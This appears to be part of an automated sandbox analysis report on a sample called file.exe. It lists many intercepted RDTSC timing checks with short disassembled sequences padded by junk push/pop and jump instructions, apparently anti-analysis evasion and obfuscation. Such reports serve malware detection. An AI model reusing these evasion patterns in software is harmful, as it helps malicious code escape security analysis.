Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E60CC second address: 5E60F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push edi 0x00000008 pop edi 0x00000009 jmp 00007F1374D398C3h 0x0000000e pop ecx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E60F3 second address: 5E60FD instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1374C2DE06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E57E5 second address: 5E57EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E57EB second address: 5E57F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E57F1 second address: 5E57F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E57F5 second address: 5E57F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E57F9 second address: 5E581F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1374D398C4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007F1374D398B8h 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E581F second address: 5E583B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1374C2DE16h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E583B second address: 5E583F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E583F second address: 5E5845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5845 second address: 5E584F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E584F second address: 5E5853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5853 second address: 5E5857 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC805 second address: 5EC818 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1374C2DE0Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC818 second address: 5EC825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC825 second address: 5EC834 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F1374C2DE06h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC834 second address: 5EC84C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1374D398C0h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC84C second address: 5EC850 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC850 second address: 5EC861 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F1374D398B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB340 second address: 5EB35B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1374C2DE17h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB489 second address: 5EB4B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374D398C3h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c jmp 00007F1374D398BEh 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB643 second address: 5EB647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB647 second address: 5EB64D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB64D second address: 5EB653 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB653 second address: 5EB659 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB659 second address: 5EB65F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB65F second address: 5EB663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB663 second address: 5EB685 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1374C2DE06h 0x00000008 jp 00007F1374C2DE06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 je 00007F1374C2DE08h 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB685 second address: 5EB68C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB68C second address: 5EB692 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB99D second address: 5EB9A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EBB14 second address: 5EBB1A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EBB1A second address: 5EBB20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EBDAA second address: 5EBDBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1374C2DE0Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EBF43 second address: 5EBF69 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1374D398CFh 0x00000008 jmp 00007F1374D398C7h 0x0000000d push edi 0x0000000e pop edi 0x0000000f pushad 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC0A3 second address: 5EC0B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374C2DE0Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC0B6 second address: 5EC0E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1374D398BFh 0x0000000d jmp 00007F1374D398C7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC0E4 second address: 5EC100 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374C2DE16h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC100 second address: 5EC104 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC104 second address: 5EC108 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC233 second address: 5EC237 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC237 second address: 5EC268 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1374C2DE08h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1374C2DE15h 0x00000013 je 00007F1374C2DE12h 0x00000019 jl 00007F1374C2DE06h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC268 second address: 5EC26C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 593B31 second address: 593B35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 593B35 second address: 593B42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop ecx 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 593B42 second address: 593B48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 593B48 second address: 593B64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1374D398BDh 0x0000000e jnl 00007F1374D398B6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 593B64 second address: 593B7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F1374C2DE11h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC688 second address: 5EC68E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC68E second address: 5EC693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC693 second address: 5EC698 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EAEEF second address: 5EAEF5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EAEF5 second address: 5EAF03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F1374D398B6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EAF03 second address: 5EAF07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55FF76 second address: 55FF7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6A0E second address: 5F6A2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F1374C2DE15h 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3529 second address: 5B352D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3611 second address: 5B362B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1374C2DE16h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B362B second address: 5B364A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jmp 00007F1374D398C0h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B371E second address: 5B3722 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3722 second address: 5B3728 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3728 second address: 5B3788 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1374C2DE1Eh 0x00000008 jmp 00007F1374C2DE18h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jnc 00007F1374C2DE12h 0x00000019 mov eax, dword ptr [eax] 0x0000001b push esi 0x0000001c pushad 0x0000001d jnc 00007F1374C2DE06h 0x00000023 push edi 0x00000024 pop edi 0x00000025 popad 0x00000026 pop esi 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b pushad 0x0000002c jmp 00007F1374C2DE11h 0x00000031 push eax 0x00000032 push edx 0x00000033 push ebx 0x00000034 pop ebx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3788 second address: 5B37CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374D398C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pop eax 0x0000000b mov cl, dl 0x0000000d mov dword ptr [ebp+122D3160h], ebx 0x00000013 call 00007F1374D398B9h 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F1374D398C7h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B37CD second address: 5B37D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F1374C2DE06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B37D7 second address: 5B37FE instructions: 0x00000000 rdtsc 0x00000002 je 00007F1374D398B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F1374D398C1h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B37FE second address: 5B3805 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3805 second address: 5B3818 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1374D398B8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3818 second address: 5B381C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B395F second address: 5B3965 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3965 second address: 5B3969 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3969 second address: 5B397B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a je 00007F1374D398BCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3C31 second address: 5B3C37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3C37 second address: 5B3C3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3C3B second address: 5B3C3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3FA0 second address: 5B3FA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3FA4 second address: 5B3FB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F1374C2DE0Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3FB2 second address: 5B3FC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jbe 00007F1374D398C4h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B40BD second address: 5B40C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B40C3 second address: 5B40C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B42AC second address: 5B42C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374C2DE0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B42C9 second address: 5B42CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B4363 second address: 5B437D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F1374C2DE06h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F1374C2DE0Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B437D second address: 5B43BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374D398BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F1374D398C5h 0x0000000f lea eax, dword ptr [ebp+1248AEB3h] 0x00000015 sbb dh, FFFFFFA3h 0x00000018 nop 0x00000019 jo 00007F1374D398C0h 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B43BA second address: 5B43CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 js 00007F1374C2DE14h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B43CB second address: 5B43CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B43CF second address: 593B31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 or edx, dword ptr [ebp+1246797Dh] 0x0000000d jo 00007F1374C2DE0Ch 0x00000013 mov dword ptr [ebp+122D1C38h], ecx 0x00000019 call dword ptr [ebp+1246797Dh] 0x0000001f pushad 0x00000020 push ecx 0x00000021 jmp 00007F1374C2DE0Eh 0x00000026 pop ecx 0x00000027 push eax 0x00000028 push edx 0x00000029 jg 00007F1374C2DE06h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6FE7 second address: 5F703B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F1374D398C9h 0x0000000b popad 0x0000000c push esi 0x0000000d jmp 00007F1374D398C2h 0x00000012 jg 00007F1374D398B6h 0x00000018 pop esi 0x00000019 jmp 00007F1374D398C4h 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F703B second address: 5F703F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F703F second address: 5F7060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 pushad 0x00000009 jnc 00007F1374D398B6h 0x0000000f jmp 00007F1374D398BCh 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F7060 second address: 5F7066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F719B second address: 5F71A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007F1374D398B6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F71A8 second address: 5F71D3 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1374C2DE06h 0x00000008 jmp 00007F1374C2DE19h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jl 00007F1374C2DE06h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F71D3 second address: 5F71D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F7320 second address: 5F7324 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F7324 second address: 5F732D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F732D second address: 5F733A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F1374C2DE06h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F74B7 second address: 5F74BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F74BB second address: 5F74D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1374C2DE0Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007F1374C2DE06h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
